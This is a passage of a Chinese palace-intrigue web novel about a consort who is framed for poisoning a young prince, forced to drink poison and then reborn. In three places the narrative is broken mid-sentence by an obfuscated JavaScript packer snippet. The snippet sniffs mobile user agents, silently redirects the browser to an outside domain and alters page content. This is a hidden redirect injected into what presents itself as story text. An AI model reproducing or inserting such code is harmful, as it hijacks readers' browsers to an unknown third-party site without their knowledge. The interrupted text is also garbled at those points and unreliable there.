《开局被赐死,她轮回九次(宫斗)》 1. 第一次轮回(一) “明嫔江氏心肠歹毒,残害皇子,赐自尽。” 江昭跌坐在地,心中绝望,潸然落下泪来。 为什么?为什么无论她怎么辩解,素日里那温柔英明的皇帝,只面色冷峻地坐在上首,对她的话语全然无动于衷。如此凉薄,难道往昔种种情谊,皆是虚妄吗? 即刻便有人端上匕首、鸩酒和白绫,摆在江昭的面前叫她选。 江昭大恸,她才十六岁,如何甘心就死。迎着满宫妃嫔冷冷的审视和隐隐的窃喜,江昭望向皇帝,凄然道:“皇上!臣妾初入宫闱,尚不足两月,人生地疏,势单力薄,怎么有本事收买御膳房的人做出此抄家灭族之大罪?臣妾明明有大好前程,为何要众目睽睽之下做出如此愚蠢之事?” 皇帝尚未开口,一旁的太后侄女静贵人付璃却已轻描淡写地一笑,语气中带着几分讥讽与挑衅:“你仗着江相之势,还有什么不敢做的?如今不过是个新人,便敢倚仗家世毒害皇子,犯下滔天大罪,若等来日你羽翼丰满,岂不是要将这满宫妃嫔都屠尽了?” 众妃闻言,皆对江昭心生嫌隙,有几分好感的也瞬间消耗殆尽。一向冷冰冰,不常开口的瑜常在文茵叹道:“是啊,你明明有大好前程,又还有什么不知足的呢?” 江昭只觉当头被人狠狠泼了一盆污水,污名昭著,直气得发抖,忍着将静贵人撕碎的心,咬牙道:“臣妾惶恐,天家威严,臣妾父亲一直为皇上尽忠效力,不敢有二心,更不敢作威作福。入宫以来,臣妾对各位姐姐向来恭敬有加,不敢有丝毫逾矩,何来有倚仗家世之说?” 江昭越说越悲愤:“臣妾的为人,以为众姐妹早已知晓。可怜臣妾一直相信公道自在人心,如今却蒙此不白之冤,真是叫人痛彻心扉,原来这宫里,尽是些眼盲心瞎之人! 跪在地上指认的云常在温蕊翻了个白眼:“明嫔这话,嫔妾实在不敢苟同。常言道‘画龙画虎难画骨,知人知面不知心’,表面功夫做得再好,怎知心里头藏着什么念头呢?皇上英明神武,众姐妹皆心明眼亮,哪里瞧不出你是个什么心思呢?你一向与贤妃交情匪浅,可我眼睁睁瞧着,你递给四皇子那有毒的糕饼时,倒也毫不手软,哪里有半分姐妹情谊呢?” 皇后许疏月端坐上首,手中轻捻状纸,眉间轻蹙:“皇上,御膳房的小顺子经不住严刑,已然招供。据其所言,明嫔的婢女云岫一早便偷偷吩咐了,要他在菱角糕中掺入断肠草汁。小顺子虽不明其意,但迫于其威慑,还是照做了。听闻四皇子被毒死后,更是惶惶不可终日。搜查之人还在其床下发现了大量金银,显然是受了贿赂。” 协理六宫的穆妃顾清敛眉正色道:“云岫也供认不讳,她称明嫔私下里一直对贤妃心怀嫉恨,区区五品官之女,也堪登妃位?若用如此手段,必会让人觉得太过简单粗暴,背后必有隐情。更何况,明嫔身为江相之女,皇上即便震怒,也要顾及朝野上下,未必敢动她,顶多是禁足或降位罢了。” 皇帝闻言,勃然大怒,“放肆!”猛地将一旁的瓷碗掼在地上,瞬间摔了个粉碎,惊得众人纷纷敛衣下拜:“皇上息怒。” 江昭被云岫的背叛打得措手不及,满心的震惊与不可置信。云岫?云岫!怎么会是你?然而,她渐渐发现,真正一心想要她死的,不是皇后,不是穆妃,而是皇帝。是皇帝偏听偏信,不顾她的争辩,任众人污蔑她;是皇帝仓促定罪,不给她查找证据的机会。自己爱了这么久的枕边人,为什么一心想要她死? 她满脸悲愤,怨怼的目光直直地看着皇帝:“哈哈哈哈,是我错了!是我错看!是我错信了云岫,她竟背叛诬陷于我,可我更悲的是,皇上!你不信我!臣妾一直记得,从前你说我‘温婉良善,心地光明,有君子之风’,故而给了我‘明’的封号,如今,口口声声要处死我的也是你?往日情谊,好像镜花水月,竟是大梦一场空。”说到此处,江昭悲从中来,只觉生无可恋,大笑起来,笑声中满是凄凉与绝望:“我本将心向明月,奈何明月照沟渠!” 皇帝见江昭满脸含怨,不由地大怒,斥道:“毒妇,住口!罪证如山,你还抵死不认?” 大殿之中,气氛凝重似铁,众人皆屏气敛声,不敢稍动,芙贵人陆瑶却突然出言道:“皇上,明嫔姐姐必是被冤枉的,嫔妾与她自幼便相识,深知她为人,决计不会做出这等伤天害理之事。求您明察秋毫,查清真相,还明嫔姐姐一个清白。” 皇帝示意众妃皆起身,声音冷冷:“你不必为她辩解,她罔顾人伦杀害幼子在先,妄图狡辩逃脱责罚在后,如此不忠不义之徒,也配用‘明’这个字?传朕旨意,明嫔不忠不义,褫夺封号,贬为庶人,不许以嫔位之礼下葬!另着人问罪江越,看看他究竟教出了什么好女儿!” 江昭一怔,隐隐觉察了什么往日不曾留意之事。朝中文官皆以父亲为首,皇上此番斥责,究竟是要借题发挥,还是心中对父亲不满已久,意欲除之而后快? 荣嫔江萤听得皇上要问罪父亲江相,这还了得?忙道:“皇上,您这是要牵连父亲吗?父亲一直为朝廷效力,忠心耿耿,绝无半点不轨之心。江昭所为,与父亲无半点关系,全是她自作主张,望皇上勿迁怒父亲!”说罢,着急地向江昭使了个眼色,示意她赶紧认罪,切莫牵连族人。 江昭看到庶姐的眼神,读懂了庶姐的暗示,心中只想冷笑。情势所迫,只得低头对皇帝说:“一切都是臣妾之过,求皇上不要牵连父亲。” 云常在不忿,仍在叫嚣:“毒害皇子,此乃抄家灭族之罪!还请皇上严惩江家,否则人人效仿,皇嗣的安危岂不是乱了套?” 皇后淡淡道:“皇上明正典刑,赐江庶人自尽,以儆效尤。往后谁敢效仿,便是自寻死路。”众妃赶忙起身行礼,正色道:“臣妾/嫔妾不敢。” 皇帝含怒,失望地看着江昭道:“江越有你这般蛇蝎心肠的女儿,他纵有千颗脑袋,也难抵此罪责!如今想来,养出你这样的女儿,他又是什么好东西,不杀之,不足以平朕之恨!” 江昭声音哽咽,酸涩喊道:“欲加之罪,何患无辞?臣妾如是,父亲亦如是!一切罪责,臣妾甘愿承担,何必借故牵连旁人?臣妾甘愿就死,求皇上放过父亲,只是臣妾死前,一定要见一见宁姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118392|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 兰嫔沈知微面露怜悯,温婉道:“皇上,贤妃姐姐骤闻孩子腹痛难忍、不治身亡,痛哭不止。她又强撑着身子去看了那孩子的遗容,可怜那孩子七窍流血,死状凄惨,贤妃姐姐一下子承受不住打击,昏了过去,不知现下醒了没有。” 瑜常在还是那副冷冷的态度,后宫众人仿佛都不在她的眼中:“皇上,臣妾以己度人,贤妃失子,实在可怜,想来贤妃也有话想问江庶人,皇上便应允了吧。” 皇后指尖轻轻敲着檀木扶手,神色淡然,仿佛眼前不过是一场无趣的戏。 皇帝听得不忍,也不看江昭,拂袖而去,皇后见状严肃道:“那便等贤妃醒了,让她送江庶人一程吧。诸位妹妹,本宫不希望以后宫中再发生这样的事。若有,则严惩不贷。今日之事已毕,都散了吧。”一众佳丽行礼如仪。 穆妃叹息一声,可眼底却闪过一丝轻松——少了一个劲敌,终究是好事。 皇后起身,留下几名心腹宫人盯着江昭赴死,随后便匆匆出门,沿着皇帝离去的方向追寻而去。 众人皆行礼称“是”,也不愿多留,扶着婢女的手纷纷离去。 江昭跪在冰冷的地面上,目光如刀般扫过众妃的面容,一个一个地仔细打量,试图从她们的表情中找出那个真正的幕后黑手。 皇后面色如水,波澜不惊;穆妃轻轻叹息,似乎无奈又惋惜;兰嫔面带伤感,眼中含着几分同情;芙贵人眼神中满是失望,仿佛对这结局难以接受;瑜常在清冷如霜,不露声色;和常在瑟瑟缩缩,满脸惶恐……而更多的妃嫔,则是带着看笑话的神情,幸灾乐祸地看着她。 众人见她目光扫来,反应各异:有人移开目光,不屑地翻了个白眼;有人不动声色,事不关己;有人则挑起眉梢,露出一个嘲讽而畅快的表情。昔日风华绝代、年轻俏丽的佳人,如今却狼狈不堪、模样凄惨。 云常在温蕊居高临下道:“江昭,你这名字倒是应景,如今你是罪行昭彰了。用这个名字的时候,可曾想到天理昭彰,报应不爽?” 江昭仰着脸,面无表情地盯着她:“我一直相信,也一直等着你的报应。” 云常在讨了个没趣,冷哼一声,“蚍蜉撼大树,可笑不自量,看你到时候还能不能这么硬气”,说罢别过脸,捏紧手里的帕子,不再看她。 太后侄女静贵人装也懒得装了,就这么微笑着,肆意欣赏着江昭落魄的模样,好像在说:“任你家世再高、才情再好,还不是一样败下阵来,含冤赴死,饮恨九泉。” 江昭只觉得各个都可疑极了,可恨极了。她垂下头,心中惊疑不定:究竟是谁想出的这般毒辣计策,既能除掉宫中唯二的皇子之一,又能除掉她这个强有力的皇后备选人,重创贤妃,离间江、唐两家的关系,还致使皇帝对江家失望。 会是素来慈和的皇后吗?还是端庄正直的穆妃?是大大咧咧的敏贵人?还是野心勃勃的云常在?……似乎每个人都有嫌疑。 对面那些身着宫装的美人们好像变成了择人而噬的毒蛇,隐秘地蛰伏在暗处,等待着一击致命的时机。 2. 第一次轮回(二) 到了如今这个地步,江昭才如梦初醒,原来她早已忘了:皇上年富力强,血气方刚,如今不过二十五岁,正值盛年,却只有四个孩子尚存,可见宫斗残酷。 嫡长子谢文华,为中宫皇后许疏月所出。二公主谢锦婳,为穆妃顾清所出。三公主谢夕照,为兰嫔沈知微所出。四皇子谢文瑾,为贤妃唐芷宁所出。 这么多年,不知有多少孩子在襁褓中夭折,又有多少在母亲腹中便无声无息地去了。 皇帝对这仅有的四个孩子视若珍宝,倍加看重,自然也对残害皇子之人恨之入骨,证据确凿便要处死,绝不姑息。 潜邸时妃妾众多,皇上登基时却只剩下一正妃、二侧妃、四侍妾。那些被赐死的,究竟是真凶还是替罪羊,无人知晓。江昭只知道,能活到现在的,都不是善茬。毕竟,在那么多阴谋诡计之下,还能保住孩子平安生下来的,更是不可小觑。 江昭的思绪飘回往昔,入宫前父亲的话语仿佛仍在耳畔回响。当今皇上谢怀谦,本是众人眼中的小透明,朝臣们无一人押注于他。不料夺嫡大热门太子与二皇子斗得过火,血拼之下双双殒命,其他参与两派夺嫡的皇子也纷纷被幽禁或赐死。 最后,倒是排行靠后的谢怀谦捡了个便宜,意外登上了皇位。因着不受重视,从前做亲王时赐婚的正妃,也就是如今的皇后许疏月,家世也并不显赫,江相评价:“不过是四品鸿胪寺卿的嫡女,如何能与我儿相争。” 皇帝初登基,为稳定朝纲,坐稳皇位,特意选秀,择选了一批肱骨大臣之女入后宫。其中江昭家世最高,为文臣之首——江越的嫡女。 宫人皆说,凭借江昭的家世,便是后位也坐得。 江昭的亲族也是如此期盼,希望江昭入宫站稳脚跟后,能寻到皇后的错误,把皇后拉下来,取而代之。届时,他们前朝后宫相互助力,可保江家繁荣不倒,长盛不衰。 为了家族的利益,江昭默默放下对裴家哥哥的恋慕,以及心底对一生一世一双人的渴望,毅然决然地踏入波诡云谲的后宫。 只不过,她素来温婉善良,无法违背自己的良知去害人,一直奉行明哲保身之道,人不犯我,我不犯人,准备见招拆招地应对各方阴谋。 入宫后,皇帝谢怀谦很对她极为宠爱,初入宫便封了贵人,侍寝后又破格无子封嫔,还赐号“明”。只待怀孕生子,便可顺势封妃,甚至贵妃。 江昭知道皇后和高位妃嫔定然对她这个威胁不喜,因此入宫以来一直小心翼翼,不敢有丝毫差池,唯恐被人抓住把柄。 她只盼能生下一个皇子,将来获封亲王,也能保住江家富贵了。却没料到有人这般毒辣,来势汹汹,出手便直指她的性命。 她刚入宫两月,根基尚浅,直接被打得措手不及,毫无还手之力。 她最怀疑的,还是皇后。毕竟,若论此事的最大的受益者,非皇后莫属。只是眼下毫无证据,她将猜测说给皇上听,皇上却斥她佛口蛇心,蓄意攀诬。 如今墙倒众人推,她才惊觉,满宫中,竟无一人为她说话。从前她总以为,只要皇帝信她,又有贤妃、芙贵人两个金兰姐妹相帮,也算是有几分底气。 江昭正出神想着,众妃皆无意见证江昭死时的惨状,不敢多留,纷纷回了自己的殿内悄摸打探消息。只有荣嫔江萤不急不慢,缀在最后。 待众人都走了,殿内只留下荣嫔江萤。 江昭抬起头,目光与庶姐江萤对视,只见江萤眼神得意,高高在上地瞧了江昭好几眼,如同在看一条落水狗一般,“江昭啊江昭,你也有如此下场。你死了,家族的资源便都是本宫的了。放心去吧,家族使命,本宫会替你完成的。”说罢,轻移莲步,搭着婢女金盏的手袅袅婷婷地走出了宫殿。金盏低下头,不忍地瞥了一眼二小姐。 江萤是江昭同父异母的庶姐,王府时就嫁给了谢怀谦为侧妃。 本来江萤作为一品宰相的庶女,堪为正妃,只是那时谢怀谦已经娶了王妃许疏月,江萤不得已做了侧妃。 在江家时,江萤的母亲宋姨娘就十分受宠,江萤受母亲影响,一心想于婚事上压过嫡妹江昭,誓要嫁入皇家,认为众皇子中谢怀谦的婚事还稍可凭借家世拿捏,执意要嫁给他。入府后又素来嚣张,倚仗江家权势,为谢怀谦所不喜。 登基后谢怀谦的隐忍终于爆发,不顾家世,只给江萤封了嫔,反倒封了从前的侍妾顾清为穆妃。还选了江萤的嫡妹江昭入宫压制她。这其中也存了姐妹相争、分化江家的意思。 果然,江家见江萤一直无所出,又不得皇帝喜爱,转头支持江昭。 江萤一直怨恨自己生为庶女,嫉妒嫡妹。本来成了皇帝妃嫔还洋洋得意,自以为压制嫡妹一头,江昭见了她还不是要屈辱给她行礼。 不料江昭突然也入了宫,且一下就从贵人封了嫔,与她平起平坐。 “皇帝还给她赐了个那么好的封号,可见是把她放在心上了,若是生子封妃岂不是还要踩到本宫的头上去。”江萤嫉妒江昭得皇帝宠爱,又得家族支持,不甘心被嫡妹压制,一直心存愤恨,欲除之而后快。 如今眼见江昭将死,毫无亲妹将死的悲哀,只感到大快人心,多年的不甘与怨恨一扫而空,决定回宫多喝几盅酒,好好庆贺一番。 回了宫殿,江萤便摇着团扇,大笑起来:“哈哈哈哈,此事当浮一大白!拿酒来!拿纸笔来,本宫要和姨娘分享这个好消息!若坤宁宫有什么信儿,速速来报!”多年的心头大患将除,江萤说不出的畅快。 婢女金盏看着大小姐这幅模样,又忍不住想起二小姐从前在府上对下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118393|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的关怀。大小姐真是魔怔了,其实二小姐,一直无意与大小姐相争,在府中处处忍让。可她也不敢出言相劝,大小姐受姨娘影响,视二小姐为死敌,也不是一两天的事了,早已成了心病。只可怜二小姐,正值花一样的年纪,却要死于这深宫之中。 江昭确实未存有与江萤相争的意思。她见到父母因着妾室吵架,家宅不和,母亲心伤落寞,一直不想嫁入高门大户,只想嫁入清流之家,找一个真心相爱的人,相守一生。 她一直爱慕世交的裴家哥哥,裴玉太医。觉得他温润如玉,谦谦君子,真是理想夫君的模样。只是江昭只把喜欢放在心里,因为她发现裴玉似乎心悦陆瑶。 陆瑶是江父的世交礼部侍郎陆遇的嫡女。从小,他们三个就一起长大,江昭像个小太阳,总是活泼乐观,暖洋洋地哄小伙伴。裴玉则如朗月清风,温和体贴,又若即若离。陆瑶虽为嫡女,在家却和江昭一样不受宠,只是她与江昭的坚韧温暖不同,是个小哭包,总惹得江昭和裴玉去哄她。 此次大选,陆瑶作为二品文臣的嫡女,也被选入宫中,封为贵人,赐号“芙”。 江昭见着十分叹惋,她的少女相思从未说出口,只想着成全陆瑶和裴玉,可惜他们终究有缘无分,没能走到一起。 入了宫,她与陆瑶守望相助。江昭又曾在一场宴会上对唐芷宁出手相助,结下了一段善缘。因缘际会之下,唐芷宁如今已晋升贤妃,她将江昭引为知己。就这样,三人相互扶持,一路顺风顺水。不料此次却糟奸人离间,原本坚固的同盟瞬间分崩离析。 四皇子,那个孩子……原本活泼灵动,如今却再无生机。死得那样凄惨,不知宁姐姐要如何伤心。江昭心中悲痛难抑,思绪纷乱如麻。如今宁姐姐也不知道怎么样了,不知她还会不会信任自己。她曾是自己在宫中最坚实的依靠,如今却因这场无妄之灾,失去爱子,心灰意冷,了无生趣。 陆瑶……此刻又会作何感想?她素来心善,定然对自己失望至极。江昭闭上眼,眼前浮现出陆瑶惊恐又怀疑的眼神。她本想在这深宫之中,与她们携手共进,却不想陷入如此绝境。 如今她被冤屈陷害,却找不到一丝证据为自己脱身。那些所谓的“证据”,不过是有人精心布置的陷阱,而她却毫无防备地跌入其中。她本以为凭借自己的善良与正直能够在这宫中立足,却不料善良在谋算面前如此不堪一击。 随着太阳缓缓落山,最后几缕光线也渐渐隐没,恰似江昭心中微弱的求生意志,正一点一滴地消散殆尽。 殿内光线昏暗,负责督刑的宫人掌上油灯。四周一片寂静,唯有烛火摇曳,投下斑驳的光影。就在这时,一阵凌乱而急促的脚步声打破了沉寂,紧接着,却见贤妃唐芷宁跌跌撞撞地走了进来,将贴身宫女木樨留在了殿外。 3. 第二次轮回(一) 贤妃的衣衫和头发略显凌乱,明显没有心思打理。她面色惨白,满脸泪痕,脚步踉跄,却直直地冲到江昭面前,双手紧紧抓住她的衣襟,目光悲切怨恨:“为什么要害我的瑾儿!为什么?他才六岁,小小一个人儿,素日里那么乖乖巧巧地喊你明额娘,你怎么能忍心?” 贤妃声音颤抖,逐渐哽咽:“江昭,你怎么能忍心下手啊?满宫里,我谁都不信,唯独相信你啊。”贤妃说着,好像骤然失去了心气。 贤妃喃喃,声音几不可闻,然而大殿一片寂静,那话语还是清晰地传入江昭耳中,如同一把匕首,戳的江昭鲜血淋漓:“我叮嘱瑾儿除了你给的,旁人给的都不要吃,如今想来,竟是我亲手给了你机会。我好恨!不曾识破你的真面目,才害的瑾儿惨死。” 姐姐,原来你也不信我……“不是的!宁姐姐,我没有,我真的没有。你相信我,我对天起誓,从来没有害过瑾儿。瑾儿玉雪可爱,我一向把他看做自己的孩子一般,疼也疼不够,怎么会忍心害他。”看着唐芷宁的质问的模样,想到谢文瑾玉雪可爱的样子,江昭的泪水怎么都止不住。 贤妃听了,却是崩溃痛哭,捂着心口,几乎要昏死过去:“是我错信你!我以为你与她们都不同,待我真心。从前宴会初识,我只是五品官之女。她们都冷待我,欺负我。唯有你,仗义相帮。究竟是人心易变,还是我一开始便看错了你!” 贤妃痛彻心扉,恨恨道:“我真想把你的心剖出来看一看,是什么颜色。你若想害我,便冲着我来,为什么要伤害我的孩子?你把瑾儿还给我,还给我。江昭,我恨不得将你千刀万剐。”贤妃的脸一半被微弱的光线照亮,一半隐在烛火阴影中,光影交错间,显得有些阴郁、有些扭曲,不复往日的温柔如水,看得江昭触目惊心。 “姐姐,我知道你伤心,我亦心痛得不行。只是你清醒些想一想,此事定然是歹人嫁祸,企图离间我们。我为何要害瑾儿?害了瑾儿对我有什么好处?”江昭早已心存死志,如今,她只盼着好姐妹不要认错了凶手,恨错了人,让那孩子白白枉死。 贤妃本就一时被仇恨迷了心窍,如今什么话都听不进去。江昭的辩白,在她耳中,苍白无力的很。 听着江昭的辩白,贤妃闭着眼,疲惫地推开她,带着一丝恍惚和绝望起身:“谁知道你怎么想的呢?” 她微微侧过脸,似乎在努力控制自己的情绪,伤感道:“早知如此绊人心,何如当初莫相识……你非要见我,可我们之间还有什么话可说呢?你还有什么要说的?” 江昭轻声问道:“姐姐,可是有人在你身边挑唆了什么?” 挑唆?不知怎的,唐芷宁的思绪飘远,想起昏迷醒来之时,芙贵人陆瑶正坐在她床畔,眼神满是关切。陆瑶轻声告诉她皇帝对此事的调查结果,一旁的侍女木樨愤愤不平道:“娘娘,明嫔一定是因为嫉妒您因为小皇子聪慧,将升贵妃,所以害死了小皇子。” 陆瑶见唐芷宁仍是怔怔的,似是在巨大的打击下,没缓过神来,劝道:“姐姐,你醒醒吧,我们都看错她了。江昭已经被这深宫染黑,装的那么无辜,心肠何其歹毒。瑾儿那么可爱,那么聪慧。刚入上书房,就被太傅和皇上夸奖。他还有那么长的人生,却这么戛然而止。姐姐,你可别让瑾儿白死。”这是挑唆吗?……不!不是! 唐芷宁眼眶通红,肩膀微微颤抖,狠心道:“无人挑唆。事到如今,人证物证俱全,你就不要狡辩了。看在过去的情谊上,你自己选吧。别让瑾儿等太久,不然,我可要上手帮你了。可惜我来得匆忙,不曾来得及让宫人再做一份菱角糕,你合该尝尝才是。” 负责督刑的宫人早已被贤妃挥手遣退。殿中一旁的匕首、鸩酒和白绫,在烛火的映照下,泛着阴冷的光。江昭此时已是不想活了,她觉得这宫里真是没意思极了,所有人都在逼她去死,小太阳的光芒逐渐被深宫的黑暗吞没。 迎着唐芷宁冷冷的目光,江昭委屈心伤,自嘲不已,端起鸩酒一饮而尽。她深知这场祸事,自己也难辞其咎。我不杀伯仁,伯仁却因我而死。对那孩子来说,也算是飞来横祸了吧?是她轻视了宫中众人的险恶用心,错信了身边的小人,递给四皇子的糕点没有仔细检查,给了旁人可乘之机。如今,说一千道一万,都已毫无意义。 杯盏落在地上,江昭的嘴角不一会儿就有鲜血溢出,只觉得好像肠穿肚烂、剧痛不已。她扶着桌子,撑着说道,“姐姐啊姐姐,我不怪你。人之将死,其言也善。姐妹一场,我是真心待你的。只盼你找到真正害死瑾儿的真凶,别叫孩子枉死。” 说罢,再也支撑不住,只感觉身上哪里都痛极了,却没力气叫喊。渐渐的感觉什么都听不到了,好像要脱离于世间。江昭一时觉得辜负了家族期望,还令父亲母亲伤心,不知皇上会不会以此时责难江家、责难父亲,借机削权。一时又觉得解脱,她再也不用在深宫中苦熬,过如履薄冰的日子,不用提防明枪暗箭,不用忍受冷言冷语。只盼来生,不要再嫁入皇家。 江昭的眼前好像走马灯般,飞快地闪过她这一生的种种画面,有幼时的孤单,有皇上温柔的目光和话语,还有上元节时,陆瑶在旁挽着她的胳膊欢笑,裴玉递给她一个小兔子模样的花灯,那透着柔和光芒的花灯,在记忆中映照出温暖的光晕,如同她当时脸上绽放的明媚笑容。那真是她最想念的日子,她好想永远留在那一天。 ———— “娘娘,今日外头阳光明媚、天色晴好,不若去御花园逛逛吧。” 江昭的眼前朦胧胧的,意识涣散,只听得不知是谁在同她说话。慢慢的,意识渐渐清晰,恍然不知身处何地、不知今夕是何夕。刚才的剧痛好像还残留在身上,那股阴冷从她的骨头缝里漫出来,蚕食了她整个人。 乐雪瞧着她神色恍惚,脸色苍白,不由担忧道,“娘娘心情不佳吗,御花园里花草繁盛,生机盎然,瞧了心情也会好上许多,不如去散散心。” 江昭意识回笼,听得贴身婢女劝她去御花园,这话语怎的如此熟悉。她下意识抬眼打量四周,发现自己正处在忘忧宫中。只见面前的铜镜里,美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118394|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云鬓花颜,乌发盘成一个朝云近香髻,斜插一只黑檀木玉兰花流苏步摇,戴了一对儿白玉耳坠,眉目如画,只是略显得憔悴,明亮的眼眸中也含着忧愁。 江昭疑惑:这不是她今日清晨的装扮吗,因着近日总觉得困乏,特特卸了沉重的金簪银钗,选了只合心意的木钗佩戴。 微微转头,瞥见身旁桌上摆着一只精致的食盒。她缓步走进,轻轻揭开盖子,只见里头盛着一碟淡雅的菱角糕,并一碟黄金南瓜酥,闻上去香甜无比。 这,这是...回到早上了?江昭还记得早上乐雪提着点心回来时开心极了,言说御膳房的大厨做了她最爱吃的菱角糕,嘱托江昭给她多留几个。 难道她方才做了个梦,江昭有种不真实的感觉。可是她身体止不住的寒颤,那种五脏俱损的感觉也那么真切。之前发生的一切都历历在目,她仿佛真的经历了一次死亡。 若是真的...定是老天爷怜悯她枉死,给了她重活一次的机会。江昭素来相信阴司报应、鬼神之说,她听得自己急促的心跳声,有些喜悦,有些激动。 能清清白白的活着,谁愿意背负不属于自己的骂名死呢,何况还有可能牵连家族。 虽然深宫寂寞冷清,但她于人世间仍有留恋。如今糯米团子般的四皇子还活着,金兰姐妹不曾反目。趁着请平安脉的时候她还能悄悄瞧瞧心上人。她十分庆幸从前没有将少女情思说出口,不然裴玉便不再会以邻家哥哥的身份担忧关怀她。而且她还想再见见父母,还想有一个自己的孩子,这样深宫的日子也有个寄托。 那些人、那些关切的话、那些念想一直支撑着她走下去。之前她虽然毅然决然地自尽了,但那也是百般辩解、无人相信、穷途末路下的无奈,她一定要珍惜这次机会,不叫人害了。 “娘娘?可要去御花园解解闷,没准还能遇着皇上呢”,旁边的乐雪见她沉默不语,又问了一句,唤回了江昭的思绪。皇上……她还没想好以怎样的态度面对皇上。江昭站在窗前,目光好像透过薄纱落在远处的御花园中,那里繁花似锦,却也暗藏杀机。 江昭隐隐泛起一丝奇怪:乐雪似乎过于想她去御花园了。 早晨时不曾留意到,她那时恹恹的,精神不佳,被乐雪劝了一遍,主仆二人就去了。再接着便偶遇了四皇子。四皇子软糯糯地向她请安,她喜欢得不行,随手从带去的食盒中取出一块菱角糕递给四皇子,便有了之后的事情。 如今乐雪这般三番四次劝她,倒显得有些刻意了。难道乐雪和云岫一样,背叛了她,在配合真凶诱导她迈入御花园的陷阱吗?今日的糕点也是乐雪提回来的,菱角糕素来是乐雪最喜爱的。 可是,不同于云岫,乐雪和醉琴是她从江家带来的,自幼相伴,知根知底,忠心耿耿。江昭不愿相信,虽然“证据”好像指向了乐雪,但她之前被污蔑时,那些“证据”不也指向了她吗? 江昭知道这丫头一向没什么心眼,遂直白问道:“乐雪,怎么一直劝我去御花园?难道,御花园有什么你准备的惊喜不成?” 4. 第二次轮回(二) 听得江昭问她,乐雪边笑边望向醉琴:“娘娘可真敏锐,非是我的功劳,是醉琴的主意呢。前几日,醉琴和奴婢聊天时,就说发现娘娘精神头不好,让我们一起多劝劝娘娘,去外头散散心。总闷在殿里,心思容易郁结,对身体不好,奴婢觉得很有道理呢。”旁边的醉琴低头抿嘴笑着,似乎被夸得有些不好意思:“娘娘还说呢,可把奴婢们急死了。” 江昭看着二人打趣,点头认可道:“原来如此,醉琴一向妥帖。”看起来乐雪没什么问题,江昭沉思。乐雪和醉琴毕竟都是为了她着想。 “只是我身子实在不适,就不去了。今日皇后抱病,难得不用请安,不如休息会儿”,江昭找借口回绝了去御花园的提议。遭逢大难,她现在本能的想避开四皇子,避开危机四伏的御花园,只要避开,那些污蔑、那些质问,应该就能片叶不沾身了吧?没了她那块糕点,四皇子也能安然无恙了吧? 幕后黑手必定早已在御花园布下天罗地网,只待她自投罗网。想来那人定然满心期待,却不料她并不踏足那局。江昭忍俊不禁,险些笑出声来,这出精心策划的阴谋,终究是落了空。 只是,她还有一个疑惑,提膳的明明是乐雪,怎么穆妃却说招供的是云岫?云岫又不提膳,怎么吩咐小顺子下的毒?云岫又为什么无中生有,编造了那些她嫉妒贤妃的话。 上一次她亲眼目睹四皇子吐血,一直焦急地跟在太医身旁,查看四皇子情况。被扣在坤宁宫中后,她所有的宫人都被打入慎刑司审问,她想护住他们却护不住。 难道是云岫被屈打成招,为了免除责罚,匆忙认罪?还是有人买通了云岫,让她作伪证。这一切的一切,究竟是怎么一回事?江昭的目光不自觉地落在食盒上,谁能想到如此平常的一顿膳食,就被人悄无声息地下了无色无味的断肠毒药呢?菱角糕之事,始终是江昭最放心不下的,每每想起,便觉着毛骨悚然。 “我依稀记得,今日是你去御膳房提膳,是吗?”江昭不动声色问道。 “奴婢临时有事,让云岫去了。”乐雪回答得有些迟疑。 江昭打量着乐雪的神情:“可食盒是你提进来的。” 乐雪道:“云岫回来时,将食盒交予奴婢,奴婢才将食盒提了进来。”乐雪紧张道:“娘娘,是点心有什么不对吗? 现下身在偏厅,门户大开,不知道有多少个宫嫔的眼线正关注着,还不能暴露自己已经知道菱角糕被下毒之事。 为免打草惊蛇,江昭按捺下想要发作的心,淡淡道:“并无。醉琴,你去外头找找,将云岫和小安子叫进来。乐雪,你提着点心跟我进来,其余人等先退下吧”江昭边说边挑起珠帘,走进内室。掌事姑姑入画闻言轻轻地行了一礼,离开了偏厅。 踏入内室,江昭便面容一肃,沉声问道:“乐雪,可是我待你不好?你为何背叛我?” 乐雪微微一愣,急忙屈膝跪下,诚恳道:“奴婢不敢!娘娘这话从何说起?奴婢打小便陪在娘娘身边,一心一意侍奉娘娘,绝无二心。若有半句虚言,愿受天诛地灭。” 江昭微微蹙眉,眼神中带着一丝审视与不解,叹道:“我一向信你。只是,你为何瞒着我,不将实情告知?难道你不知,宫中之事,稍有隐瞒,便是祸端?”她微微俯身,目光直视乐雪的眼睛:“你且如实说来,为何是云岫去取的膳食?” 